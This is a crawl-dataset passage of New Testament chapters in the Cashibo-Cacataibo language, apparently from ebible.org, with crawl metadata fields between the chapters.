cëmëi banacëma 'ain. Mitsun curíqui binuxun cananuna mitsu paráncëma 'ain. Nucën Papa Diosanbi ca usai 'ia nu isaxa. 6 Uisa nëtë́nbi cananuna, raíri unicamanribia 'amainun camina mitsúnribi nu rabiti 'ai quixun sináncëma 'ain. Unin ca nun nu asérabi Cristonën xucë 'ixun aín bana ñuixuncëxun upí oquin a bana cuaquin nun cacësabi oquinshi 'ati 'icë quixun 'unánxunbi cananuna unían nu rabiti sináncëma 'ain. 7 Nun cananuna xanúan aín tuá chamara 'icë anun cuëënquin 'acësa oquin, 'itsaira nuibaquin mitsu 'aquian. 8 Usa 'ixun cananuna 'itsaira nuibaquin, Jesucristomi catamëti ië́ti banaishi ñuixunquinma Nucën Papa Diosan nu 'unánmicë ñucamaribi mitsu 'unánmisaira tan. Usa 'ixun cananuna nuibairaquin mitsu 'itsaira sinanin.\n9 Nucën xucë́antu, mitsun camina 'unanin, nun cananuna pitiñuma 'ianan nun curíqui cëñuti rabanan tëmërai atsánquinbi ñu mëëan. Micama uinu 'icë uníxbia nu ñu 'ináncasi bënë́nunma cananuna nëtën 'anan, imë́ribi nun cuëëncë ñu biti cupí usoquin 'an. 'Anan cananuna Jesucristomi catamëti ca uni Nucën Papa Diosnan 'iti 'icë quixun caquin mitsu bana ñuixuan. 10 Mitsun camina 'unanin, Nucën Papa Diosanribi ca 'unania, nux cananuna mitsúxmi Jesucristomi catamëcë 'ain mitsubë 'ixun uisa ñu 'atimabi 'aima upí 'ia quixun. Usai 'ia ca uinu 'icë unínbi nu 'uchocëma 'icën. 11 Usaribi oquin camina 'unanin, unían aín bëchicë 'acësaribi oquin cananuna mitsu achúshi achúshi upí oquin sinánmiquin 'ësëa quixun. 12 Mitsúxmi Nucën Papa Dios, axa upíira, ax mitsubë 'ain, aín nëtë upí anu abë 'iti sinani, an sinánmicësabi oíshi aín uni 'aish 'inun quixun cananuna mitsu upí oquin 'ësëquin 'unánmian.\n13 Nun Nucën Papa Dios cuëëncësabi oquin aín bana ñuixuncëxun cuaquin camina —a banax ca unínbi sináncëma 'icën, asérabi Nucën Papa Diosan sinánmicëxun ca nu ñuixuncania —quixun sinan. A banax asérabi ainan 'ain camina mitsux a cuati Nucën Papa Diosnan 'ain. Mitsux usai 'ia 'unánquin cananuna nëtë́quinma a —asábi ca —quixun caquin rabin. Mitsúnmi —a banax ca asérabi 'icë —quixun cuatia ca Nucën Papa Diosan ainan 'inun mitsu 'imiaxa.\n14 Nucën xucë́antu, mitsux camina Judea menuaxa Jesucristomi catamëti Nucën Papa Diosan unicamax 'icësaribi 'ain. Acama ca aín aintsi 'ixunbi judíos unicaman bëtsi bëtsi ocëxa. Usaribi oquin ca mitsuribi mitsun aintsinbi bëtsi bëtsi oxa. 15 Aín raran bëráma an Nucën Papa Dios quicë bana uni ñuixuncë uni raíri 'ásaribi oquin ca Judeanu 'icë unin Nucën 'Ibu Jesús 'acëxa. Usa 'ixun ca nuribi nun bana cuaisama tanquin aín ëmanuax cuantánun quixun bëtsi bëtsi ocëxa. Usa 'aish ca Nucën Papa Dios cuëëncësa oquin 'ati sinanima unicamamiribi nishia. 16 Nun judíosma unicama Cristomi sinánun bana ñuixuinsa taniabi ca usaquinu bana ñuixunun nu ëncëma 'icën. Usai 'ia aín 'ucha cëxtutia ca Nucën Papa Diosan 'aisamaira oquin castícanti 'icën.\nTesalónicanu 'icë unicama isía Pablo cuainsa tan\n17 'Ën xucë́antu, mitsubë ënanantancëxun cananuna isquinmabi mitsu 'itsaira sinanin. Usa 'aish cananuna mitsu isi cuainsaira tanin. 18 Cuanti cananuna sinan. Raírinëxa cuancëbëmabi, cana 'ëxëshi 'itsai mitsu isi cuainsa tan. Usa 'aínbi ca ñunshin 'atimanën 'apun nux cuanti bëaraxa. 19 ¿Nucën 'Ibu Jesucristo ucëbëtan añu isti caranuna cuëënin? Abë 'icë mitsu isi cananuna cuëëinra cuëënti 'ain, nun mitsu aín bana ñuixuncë cupí camina abë 'ai quixun sinani. 20 Nun 'aquincëxmi upiti Jesucristomi catamëcancë cupí cananuna cuëënquin upí oquin sinanin.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1TH02.htm","date":"2022-01-18T19:22:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00474.warc.gz","language":"cbr","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000005841255188}","num_words":664,"character_repetition_ratio":0.105,"word_repetition_ratio":0.003,"special_characters_ratio":0.198,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nNucën 'Ibu Jesucristo utëcënti ñui quicë bana\n1 'Ën nuibacë xucë́antu, bëtsi quirica pan buánmixunbi cana ënë quiricaribi mitsu buánmin. Quirica buánmiquin cana asérabi Jesucristomi sináncë 'ixunmi aín banacama manuquinma upí oquin sinánun mitsu 'ësëan. 2 An Nucën Papa Dios quicë bana uni ñuixuncë unicaman Jesucristo ñui quiá banacama a manuquinma sinánan, camina Nucën 'Ibu Jesucristo, an Nucën Papa Diosnan 'inun uni ië́micë, an aín bana ñuixunun caíscë unicaman mitsu ñuixuncë banaribi manuquinma sinánti 'ain.\n3 Ësoquin camina 'unánti 'ain, anúan Jesucristo utëcënti nëtëa 'urama 'ain ca 'itsa uni aín cuëëncë ñuishi 'ai, anun Jesucristonan 'iti bana 'atimaquin ñui, ami cuaiti 'icën. 4 Cuai ca quiti 'icën:\n—Jesús ca utëcënti 'icë quiáxa uni quiá 'aínbi ca ucëma 'icën. Nucën raracama bamacëbëa 'iásabi oi ca camabi uni bamaia, 'imainun ca nëtë ióñua 'iásabi camabi ñu 'ia. 5 A unicaman ca sinántisama tania, Nucën Papa Diosan usai ca 'iti 'icë quixun cacëxëshi ca naicamë'ëo 'imainun bacacama, anua racátinubi racámainun, mecamaribi anubia 'iti anu 'iacëxa. 6 Usaia 'iá 'icëbi ca Nucën Papa Diosan sinanëinshi mapuquin, bacan ënë menu 'icë ñucama cëñuacëxa. 7 Usa 'aínbi ca naí 'imainun mecama anúan Nucën Papa Dios quicëbëtainshi tsin cëñuti nëtë utámainun usabi 'iti 'icën. A nëtën ca an ñu 'atima 'acë unicama Nucën Papa Diosan uisa cara oti 'icë usoquin 'ati 'icën.\n8 'Ën nuibacë xucë́antu, camina manuquinma ësaquin sinánti 'ain, Nucën 'Ibu Diosan, an nëtë́timoi tsócë 'ixun, tancëx ca nun nu tancë achúshi nëtëx mil barisa 'icën. Usaribiti ca nun nu mil barisa tancë ax Nucën Papa Diosan tancëx achúshi nëtësa 'icën. 9 Usa 'ain ca —ca uti 'icë quiá 'aíshbi ca Jesucristo xënibutia —quiáxa uni quicë 'aínbi uti 'ixúnbi Jesucristonën achúshira uníxbia ainanma 'aish castícancë 'iti cuëënima, camabi unia sinanati ami catamëti cuëënia.\n10 Usaquin caíntancëx ca unin sinánmabi, an ñu mëcamacë uni imë́ ucë usaribiti unían sinánmabi Jesucristo uti 'icën. A nëtë ucëbë ca canacamë'ëo 'icësaía anuax banacëbë naíu 'icë 'uxë, bari, 'ispa acama, manë tsin cëñumainun anu ax 'iti 'aíma 'iti 'icën. Usaribiquin ca camabi mecëñun anua 'icë ñucamaribi tsin cëñuti 'icën.\n11 Usai ca ñucama cëñúti 'icë quixun sinani camina Nucën Papa Dios quicësabi oi 'i uisaíbi 'uchaima bucuti 'ain. 12 Usa 'ain camina Jesucristo Nucën Papa Diosan mëníosabi oi uti caínquin unicama sinanatia ami catamënun 'aquinti 'ain. A nëtën ca naíu 'icë 'uxë, bari, 'ispa acama manë tsin rëquiruquin tsatsacacësa 'iti 'icën. Usai 'icëbë ca anua usa ñucama 'icë axribi manë tsin cëñucë 'iti 'icën. 13 Usaía ñu 'iti 'aínbi cananuna Nucën 'Ibu Dios quiásabi oía me 'imainun naí ió 'iti cainin. Anu ca uisa 'uchabi 'aíma 'iti 'icën.\n14 'Ën nuibacë xucë́antu, usaía 'iti caíncë 'aish camina Nucën Papa Diosan 'uchañumarua isanan uisa ñu 'atimabi 'acëma isti cupí ñu 'atima 'aíma unicamabë nuibananishi upitax bucuti 'ain. 15 Camina 'unánti 'ain, axa ainan 'iticama camabi aín 'ucha tërë́ncë 'inun ami catamënun quixun ca Nucën 'Ibu Jesucristonën cainia. Nucën Papa Diosan sinánmicësabi oquin ca abë́nu nuibanancë nucën xucën, Pablonënribi quirica buánmiquin, usaribi oquin mitsu caxa. 16 A mitsu buánmicë quiricacamanu ca Pablonënribi 'ën cacësa ësaribi oquin mitsu caxa. A bana raírinëx ca unían upí oquin cuaisama 'icën. Usa 'ain ca an Nucën Papa Diosan bana upí oquin 'unáncëma uni 'imainun axa upiti ami catamëcëma unin, uisai quicë cara a bana 'icë quixun upí oquin sinánquinma bëtsi oquin sinania. Pablonëan cuënëocë quiricaishima, bëtsi banaribi upí oquin sináncëma 'ixun bëtsi oquin sinani ca upiti Jesucristomi catamëti 'unanima.\n17 'Ën nuibacë xucë́antu, 'ën mitsu ñuixuncë ñu 'icëma pain 'ain, ca usai 'iti 'icë quixun 'unani camina an ñu 'atima 'acë unicaman paráncëxmi Nucën Papa Diosan bana quicësabi oi 'iti ëntin rabanan bërúanracati 'ain. 18 Nucën 'Ibu Jesucristo an Nucën Papa Diosnan 'inun mitsu ië́micë, ax quicësabi oi 'iti 'unánquinbi camina bëríbi 'unáncësamaira oquin 'unánti 'ain. 'Unánan camina an ca mitsu nuibatia quixun 'unani ainainra 'iti 'ain. Bërí 'acësaribi oquin ca usabi oquin nëtë xënibua 'aínbi camabi aín unicaman a rabiti 'icën. Ashi, Pedro.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2PE03.htm","date":"2022-01-17T01:28:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300253.51\/warc\/CC-MAIN-20220117000754-20220117030754-00109.warc.gz","language":"cbr","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000077486038208}","num_words":630,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nAn Jesucristomi catamënun uni bana ñuixuncë uni ca cupí biti 'icë quicë bana\n1 Nucën 'Ibu Jesusan aín bana uni ñuixunti caísa cana 'ëx 'ain. An caíscë unicaman 'acësaribi oquin cana 'ënribi Nucën 'Ibu Jesús isacën. 'Ën aín bana ñuixuncë cupí camina mitsúxribi ami catamëtin. Usa 'ain camina mitsúnbi 'unánti 'ain, 'ëx cana asérabi a usaquin 'anúan Nucën Papa Diosan caísa 'ain. 2 —Jesucristonën aín bana uni ñuixunun 'imicëma ca Pablo 'icë —quixuan uni itsin sináncëbëtanbi camina mitsun —an 'imicë ca —quixun 'unánti 'ain. 'Ën aín bana ñuixunia cuati camina mitsux Nucën 'Ibu Jesúsmi catamëtin. Usa 'ain camina asérabi 'unánti 'ain, an ca 'ë aín bana ñuixunun xuaxa quixun.\n3 An 'ë ñuicë unicama cana ësaquin cain: 4 —An 'ën bana ñuixuncëxun cuacë unicaman 'ë piti 'ináncëxun 'ën biti ca asábi 'icën. 5 A Jesusan aín bana ñuixunun caíscë uni raíri 'imainun Nucën 'Ibu Jesusan xucë́antu 'imainun Pedro, acaman aín xanu abë cuanun buáncësaribi oquin cana 'ënribi 'aisa tanquin xanu buánti 'ain. 6 ¿Axa mitsubë 'icë uni raírinën 'acësaribi oquin 'ënribi Bernabébëtan 'ën mëcënan ñu mëëquinma, Nucën Papa Diosan banaishi ñuixunti cara asábima 'itsíanx? Ca asábi 'itsíanxa. 7 Suntárunën ca anbi aín ñu maruima, 'apun cuni ca a 'inania. Usaribi oquin ca an ñu 'apácë unin an 'apácë ñuxa tuaia, aín bimi bixun piia. Usaribi oquin ca an vaca bërúancë unin vaca xuma bixun xëaia. 8 'Ënbi 'ën sinanën sináncëma ca ënë bana 'icën. Moisésnën cuënëo banaribi ca usai quia. 9 Moisésnën cuënëo bana ca ësai quia: \"Trigo bimima rëucubutia piia quixun camina vaca bënë cuëtanitima 'ain\". Axa tëëcë cupía an piti ca asábi 'icën. Vaca bënëxëshi ca usai 'iti quixun ca Nucën Papa Diosan Moisés ënë bana cuënëomiama 'icën. 10 Numiribi sinánquin ca usaquin Moisés cuënëomiacëxa. Unin ca ñu bëru 'apánuxun me mëníoia. Mëníoquin ca —'apácëx canitancëxuan ñu bërun tuaia cana aín bimi biti 'ai —quixun sinania. Usaribi oquin ca unin trigo bimi biquin, —ënë bimi cana pinuxun 'ai —quixun sinania. 11 Nun mitsúxmi Jesúsmi catamënun Nucën Papa Diosan bana ñuixuncëxunmi mitsun nun piti ñu nu 'inánti ca asábi 'icën. 12 Nun cananuna bëtsi unin 'acësamaira oquin mitsu 'unánmian. Usa 'ain ca bëtsi unimi 'ináncësamaira oquin mitsun nu ñu 'inánti asábi 'itsíanxa.\nUsa 'aínbi cananuna a ñubi mitsunua bicëma 'ain. Mitsun nun Jesucristo ñuicë bana cuaisama tanti rabanan cananuna ñuñuma 'ixunbi mitsu ñu ñucácëma 'ain. 13 Camina 'unanin, Nucën Papa Diosan mëníosabi oquin ca anuxun a rabiti xubunuxun an ñu 'acë unicama 'imainun sacerdotecamanribi Nucën Papa Dios rabiquin 'acë ñuina aín nami paná piia. 14 Usaribi oquin ca Nucën 'Ibu Jesusan mëníocëxa, an a ñuiquin aín bana uni ñuixuncë unicama a ca an aín bana cuacë unicaman anúan aín ñu biti 'inánti 'icën. 15 Usa 'aínbi cana 'ën Jesusan bana unicama ñuixunquinbi añu ñubi bicëma 'ain. Bëríribi cana 'ëmi ñu 'inánun quixun ënë quirica mitsu buánmiman. Bana ñuixuncë cupí cana añu ñubi bicëma 'ai quixun 'ën mitsu cacë, a bana cëmë 'iti cana cuëëniman. 'Acëñuma 'aish 'ëx bamacëbëbi ca a bana cëmëma 'iti 'icën.\n16 'Ën Jesusan bana unicama ñuixuncë cupí cana rabiacátima 'ain. ¡Aín bana ñuixunun Jesucristonën 'ë cacë 'ixunbi an cacësa oquin 'acëma 'aish carana uisai 'icë 'itsían! 17 Nucën Papa Diosan ca Jesucristo cupía unicama ainan 'inun ië́miti 'icë quicë bana, a 'ëxbi cuëënquin ñuixuncë 'ixun cana cupí biti sinántsian. 'Ixunbi cana 'ënbi sináncëma, an 'ë a bana ñuixunun 'ë cacë cupí, an cacësabi oquinshi 'ati 'ain. 18 'Ën cupí biti asábi 'aínbi cana cupí biquinma unicama Jesucristo ñuicë bana ñuixunin. Ñuixuni cana curíqui bitsi cuëëncësamaira oi mitsúnmi 'ë cupíoquinmashi a bana cuati cupí cuëënin.\n19 'Ëa unin ñu mëëmicëma, 'aíshbi Nucën Papa Dios cuëëncësabi oíshi 'iquin cana an camabi uni ñu mëëxuncë unisa 'ixun, Cristomi catamënun unicama aín bana ñuixunin. 20 Judíos unicamabë 'aish cana atu Jesucristomi sinánmisa tani judío uni 'icësai 'in. Usaía judíos unicama 'inun Moisésnën cuënëo bana quicësabi oi 'icë cupíma Nucën Papa Diosmi catamëcë cupíshi cana ië́ti 'ai quixun 'unánquinbi cana an usai judíos unicama íti Moisésnën cuënëo bana cuacë unicama Jesucristomi sinánmisa tanquin a bana quicësaribi oquin 'ain. 21 Usa 'aínbi cana judíosma uni, an Moisésnën cuënëo bana 'unáncëma, acamabë 'ixun Jesucristomi sinánun 'unánmiti cupí atux 'icësaribiti 'inux, usaía judíos unicama 'inun Moisésnën cuënëo bana manucësa 'ian. Usai 'ibi cana Jesucristonan 'aish Nucën Papa Diosan bana quicësabi oi 'in. 22 Jesucristomi catamëcë 'ixunbi upí oquin ami catamëti 'unáncëma unicama Jesucristomi upiti catamënun quixun cana atun sináncë ñu timaquinma bana ñuixunin. Camabi uni cana uisai cara atux 'ia usairibi 'iquin, Cristomi upiti catamënun 'aquinin. 23 Jesucristomi catamëtia Nucën Papa Diosan ainan 'inun ië́minun cana unicama bana ñuixunin, Jesucristomi catamëcëbë atubë cuëënuxun.\n24 Camina 'unanin, cuai ca uni uix pain cara bëbati 'icë isnux, camáxbi abatia. Camáxbi abácëbëtanbi ca ax paían bëbacë ainshi ñu bitsia. Usaribiquin camina Jesucristobë tsóti sinani cuëënquin ax quicësabi oquinshi 'ati 'ain. 25 Uni axa cuaiticama ax ca aín nami cushi 'inux bachuaquin tania. Aín namia cushi 'iti cupí ca ñu 'atima 'aima. Usai 'itancëx abati ax pain bëbaquin ca ñu bitsia. Usai 'iquian bicëxbi ca a ñu chëqui 'atimatia. Usa 'aínbi cananuna nux Jesús cuëëncësabi oi 'inux camabi nëtën upí 'iti 'ain. Usai 'itancëx cananuna an 'imicëx asaribi upí 'aish uinsaranbi nëtë́timoi abë tsóti 'ain. 26 Amanu amanu sinánquinma cana Jesucristo cuëëncësabi oquin upí oquin 'ati sinanin. Bëxuñu uníxa abati amo amotan cuancësari cana 'iisama tanin, 'imainun cana unia suñubë mëëanancësa 'iisama tanin. 27 'Ën Nucën Papa Diosan bana unicama ñuixuncë 'ixunbi ax cuëëncësabi oi 'ima 'ëxbi cëmëia ca an aín bana ñuiaxma 'inun 'ë cati 'icën. Usaquian 'ë cati rabanan cana 'ën nami ñu 'atima 'ati cuëëncëbëtanbi 'aíma Jesucristo cuëëncësabi oíshi 'in.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO09.htm","date":"2022-05-29T04:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00201.warc.gz","language":"cbr","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000064373016357}","num_words":899,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\n1 Usai 'icëbëtan ca bëtsi ángelnënribi aín manë banañu banoxa. Banocëbëtan cana naínuaxa 'ispa achúshi menu nipacëcë isan. Nucën Papa Diosan 'ináncëxun ca anun quini chaira 'aish nëmínra xëocati ñu bixun tuíanxa. 2 A tuíncë ñu anun ca quini chaira 'aish nëmínra a xëocaxa. Xëocacëx ca anuax tsin cuin chiquíaxa, manë tsi rëquirucë aín cuin chiquícësaribi 'inun. Chiquíquin a cuinan mapucëx ca bari bëánquicësa 'iaxa. 3 A tsin cuínuax ca 'aisamaira chanpusaribi ñu chiquíaxa, mecamanu cuanux. Nucën Papa Diosan 'imicëx ca a chanpucaman paëx, nibantan paësaribi 'iaxa. 4 Tsin cuínuax chiquitia ca Nucën Papa Diosan a chanpucama caxa: Menu 'icë basi, imaxu, chucu, ro, i acama camina 'atimotima 'ain. A 'aquinma camina, ax ca 'ënan 'icë quixun 'unánun aín bëmánanu 'ën anë 'aquin 'unántiocëma uni acama cuni 'atimoti 'ain. 5 Mëcën achúshi 'uxë́an paë tanun 'aquinbi camina a unicama bamamitima 'ain. Usoquian cacëxun 'acëx ca aín paëx nibantan uni 'acëxuan paëocësa usaribi 'iaxa. 6 Usaía 'imainun ca a 'acë unicamax axbi bamatisa taníbi bamatima 'icën. Asérabi cana bamatisa tani quibi ca 'aisamaira oquin paë taníbi bamatima 'icën.\n7 A chanpucamax ca anúan 'acánani suntáru cuancë caballo usaribi 'iaxa. Aín maxcánu ca curi mañuti 'acësa 'iaxa. 'Imainun ca aín bëmánan unin bëmánansa 'iaxa. 8 Aín bux ca xanun busa 'iaxa, aín xëtax ca 'inúanën xëtasa 'iaxa. 9 Aín namicamax ca manë chupan rabumëcësa 'iaxa. 'Ianan ca aín pëchi banamiaxa. Nuánquianquin ca 'aisamaira autua an niquincë caballonën 'acánani cuanquin buancë́xa banacësaribi oquin aín pëchi banamiaxa. 10 A chanpucaman tsispin ca nibanta inasaribi 'iaxa. Ax ca anúan mëcën achúshi 'uxën uni paë tanmiti 'iaxa. 11 A chanpucaman 'apu ax ca quini chaira 'aish nëmíinra anu 'icë ñunshíncaman cushi 'iaxa. A ñunshinan anëx ca hebreo banan cacë Abadón 'icën, griego banan cacë ca Apolión 'icën.\n12 Usaquin ca rabë́ 'imainun rabë́ ángelnëan aín manë banañu banocëbëtan bëtsi ángelnënribi aín manë banañu banocëbëtan chanpun pain 'aisamaira oquin unicaman paë tanmiaxa. Usaquian 'acëbëtanbi ca rabë́ ángelnën aín manë banañu unicama paë tanun banocëma pan 'icën.\n13 Banoíma 'ixun ca a rabë́ ángel achúshinën aín manë banañu banoxa. Banocëbëtan cana anua Nucën Papa Dios 'icë a bëmánon 'icë anuxun sanutanun tsëpasa ñu nëënti, curi 'acë, aín cuëbícamanu i, vaca matúxcasa 'itánun 'acë, rabë́ 'imainun rabë́, anuaxa banaia cuan. 14 Banaquin an bërí manë banañu banocë ángel a caía, ësai quia cana cuan:\n—Camina Eufrates cacë baca rapasunuxuan nëacë rabë́ 'imainun rabë́ ángel a tubuxun ënti 'ain.\n15 A rabë́ 'imainun rabë́ ángelcama Eufrates baca rapasunuxuan nëacë, ax ca anúan camabi unicama rabë 'imainun achúshi oquin tëacësa 'aíshbi amo 'icë achúshi acama 'ati nëtë utámainun nëacë 'iaxa. Usa 'ain ca anuxun sanutanun tsëpasa ñu nëënti anuaxa banaia a cuaxun, manë banañu tuíncë ángel an nëacë ángelcama tubuxun ëanxa. Usaquin ca a baritia, a 'uxë, a nëtë, a horabi ca unia 'anun ëncë 'iti 'icë quixuan Nucën Papa Diosan mëníosabi oquin 'axa. 16 A rabë́ 'imainun rabë́ ángelcama aín suntárucamax ca 'aisamaira caballonu tsócë 'iaxa. Acamax ca 'aisamaira 'aish doscientos millones 'icë quiáxa quia cana cuan.\n17 'Ën iscëx ca a caballocama ësa 'iaxa: anu tsócë suntárucaman manë chupa atun shicánu 'icë ax ca tsi rëquirucësa 'ianan cuman batsisa 'aíshbi tunántani 'ianan curúnsa 'iaxa. A caballocaman maxcatax ca 'inúanën maxcása 'iaxa. Aín cuëbínuax ca tsi rëquirucë 'imainun tsin cuin 'imainun azufre cacë ñu nëëmëti chiquíaxa. 18 Caballonën cuëbínuax chiquícë ñucamax chiquíquin ca unicama nëbë́tsi, rabë́ 'imainun achúshi oquin tëacësa 'aíshbi amo 'icë achúshi cëñuaxa. 19 A caballocaman inax ca maxcáñu 'aish runusa 'iaxa. Anun ca unicama paë tanmiquin 'atimoxa. Usai 'iquin ca caballocaman aín cuëbínuax chiquícë ñucama 'imainun aín ina runusa, anun unicama 'aisamaira oquin 'atimoquin cëñuaxa.\n20 'Aisamaira oquin 'atimocëxbia bamacëma unicamax ca sinanaquin, atun ñu 'aisama 'acëcama ëncëma 'iaxa. Ñunshin 'atimacama rabianan ca unin 'acë ñu, curi 'acë 'imainun uxua manë 'acë 'imainun panshían manë 'acë 'imainun maxax 'acë 'imainun i 'acë, a ñucaman isíma 'ianan cuatíma 'ianan nitsíamabi, a rabiquin an 'acësabi oquin ñu 'atima 'ati ënquinma 'axa. 21 Uni 'ati, 'imainun ñu xëax ñubë́ 'iti, 'imainun aín xanuma 'aínbi xanu itsibë 'iti, 'imainun aín bënëma 'aínbi uni itsibë 'iti, 'imainun ñu mëcamati, acama sinanaquin ënquinma usabi oquin 'axa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV09.htm","date":"2022-05-29T08:28:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00463.warc.gz","language":"cbr","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000042915344238}","num_words":662,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nAn ënë menu 'icë ñuishi sináncë unicamasaribi 'itima bana\n1 ¿Uisa cupí caramina mitsúxbi nishananan ñu cananin? Mitsúnbi bëtsi bëtsi ñu 'atimaquin sinani camina usai 'icanin. 2 Mitsun cuëëncë ñu bicasi bënë́quinbi bicëma 'ixun camina binuxun ami nishquin uni itsi 'acësa 'ain. Usa 'ixun bëtsi uni 'icësaribiti ñuñu 'iisa tani bënë́quinbi bicasmati camina nishananan mëëananin. Usai 'iquinbi camina Nucën Papa Diosmi ñucácëma cupí mitsun cuëëncë ñu bitsiman. 3 Ñucáquinbi camina ami ñucácë ñu a bitsiman, ax cuëëncësabi oquinmami mitsux cuëëncësa oquinshi Nucën Papa Dios ñucácë cupí. 4 Nucën Papa Diosmi manúxunmi mitsun cuëëncësa oquinshi 'aia cana ësaquin mitsu cain: ¿Mitsun caramina 'unaniman, ënë menu 'icë ñuishi sináncë 'aish ca uni Nucën Papa Diosbë upíma 'icë quixun? Uinu 'icë unin cara ënë menu 'icë ñuishi sinania ax ca ainanma 'aish Nucën Papa Diosmi nishcësa 'icën. 5 Nucën Papa Diosan bana cuënëo ax ca ësai quia: \"Nucën Papa Diosan ca ainan 'icë nu ñuñaia. Usa 'ain ca an nubë 'inun nu 'ináncë aín Bëru Ñunshin Upí ax bëtsi ñu 'aquinmanu ax cuëëncësa oquinshi 'ati cuëënia\". A banax ca asérabi 'icën. Usa ca ax 'icë quixunu 'unánti oquin ca Nucën Papa Diosan aín uni usoquin cuënëomiacëxa. 6 An nu sinánmicë ñuishi nun 'anun ca Nucën Papa Diosan nu 'aquintancëxun nuibaquin nua 'aquincë usamaira oquin 'aquintëcënia. Usa 'ain ca aín bana ësai quia: \"Nucën Papa Diosan ca axa rabícë unicama a timanan axa —'ëx cana usa 'ai —quiax rabícëma unicama nuibaquin 'aquinia\". 7 Usa 'ain camina Nucën Papa Diosan bana cuati ami catamëti ax cuëëncësabi oishi 'iti 'ain. Usai 'iquin camina ñunshin 'atimanëan 'atima ñu 'ati mitsu sinánmisa tancëxunbi a ñu 'ati tënëquin 'atima 'ain. Usai 'ia ca ñunshin 'atimanën ubíoquinma mitsu ënti 'icën. 8 Asérabi upiti ami sinani Nucën Papa Diosbë banaquin camina an nuibaquin sinánmicëxun, ax ca mitsubë 'icë quixun mitsun nuitu mëu upí oquin 'unánti 'ain. An ñu 'aisama 'acë unicama, cana mitsu cain: Unia aín mëcën chuañuma 'inun mëchucacësaribiquin ca min sinan upí 'inun min ñu 'atima 'acëcama ën. —Nucën Papa Diosnan cana 'ai —quicë 'ixunbi ainanma unicaman 'acësaribi oquin ënë menu 'icë ñuishi sináncë unicama, mitsúxribi ca sinanat, Nucën Papa Dios cuëëncësabi oíshimi 'inun. 9 —Nucën Papa Dios cuëëncësabi oi cana 'ima —quixun sinani ca masá nuituti 'in. Cuëëni cuaicë 'aíshbi ca a ëni masá nuituti bëunan mëscut. Chuámarua taními cuëëncë a ëni ca masá nuitut. 10 —'Ëx cana an iscëx 'aisamaira 'uchañu 'ai —quixun sinánquinmi cacëxun ca Nucën 'Ibu Jesucristonën mitsun 'uchacama tërë́nquin upíira 'aíshmi cuëënun mitsu 'imiti 'icën.\nÑuiquin uni itsi 'atimotima\n11 'Ën xucë́antu, cana mitsu cain, Jesucristomi sináncë 'aish camina axribia ami sináncë unicamabë ñuianantima 'ain. Axa abëa Jesucristomi sináncë uni ñui —ax ca 'aisama 'icë —quicë uni ax ca —Nucën Papa Diosan banax ca 'aisama 'icë —quicësa 'icën. Usai qui camina mitsux Nucën Papa Diosan bana quicësabi oquin 'aíma a banax ca cuatima 'icë quicësa 'ain. 12 Usai ca uni 'iti 'icë quicë bana nu 'inan ax ca achúshi, Nucën Papa Dios, ashi 'icën. A bana 'inan 'ixun ca unin cara a bana quicësabi oquin 'aia quixun isti 'icën. Usa 'ixun ca axa xënibua 'aínbi abë 'iti unicama a ië́mianan axa abë 'itima unicama a xënibua 'aínbi abë 'itimoquin ënti 'icën. ¿Usa 'aínbi caramina minmi uni itsi 'atimonun mix añu 'ain?\nUisai caranuna imë́ishi 'iti 'ai quixun cananuna 'unanima quicë bana\n13 Ënë banaribi 'ën mitsu camainun ca cuat. Micama raírinëx camina ësai quin:\n—Bërí cuanima cananuna imë́ishi anuxun ñu 'ai bëtsi ëmanu cuanti 'ain. Cuanx bëbatancëxun cananuna achúshi barin anu 'iquin ñu bitancëxun maruquin 'itsa curíqui biti 'ain. 14 Usai quiquinbi camina uisai caramina imë́ishi 'iti 'ai quixun 'unaniman. Uisa cara nun tsóti 'icë cananuna 'unaniman. Ax ca 'ibútancëxa curu nëtë bënëtishi nëtë́cë usaribi 'icën. 15 Usai quima camina ësai quiti 'ain: Nucën 'Ibu Dios cuëëncëbë, bamacëma 'ixun cananuna nun sináncë ñu 'ati 'ain. 16 Usa 'aínbi camina mitsux —'ënbi cana usaquin ñu 'ati 'ai —quiax cërúanan rabitin. Usai 'iti ca 'aisama 'icën. 17 Ësa ca: An usaquin 'ati ca upí 'icë quixun 'unánquinbi usaquin 'acëma uni ax ca 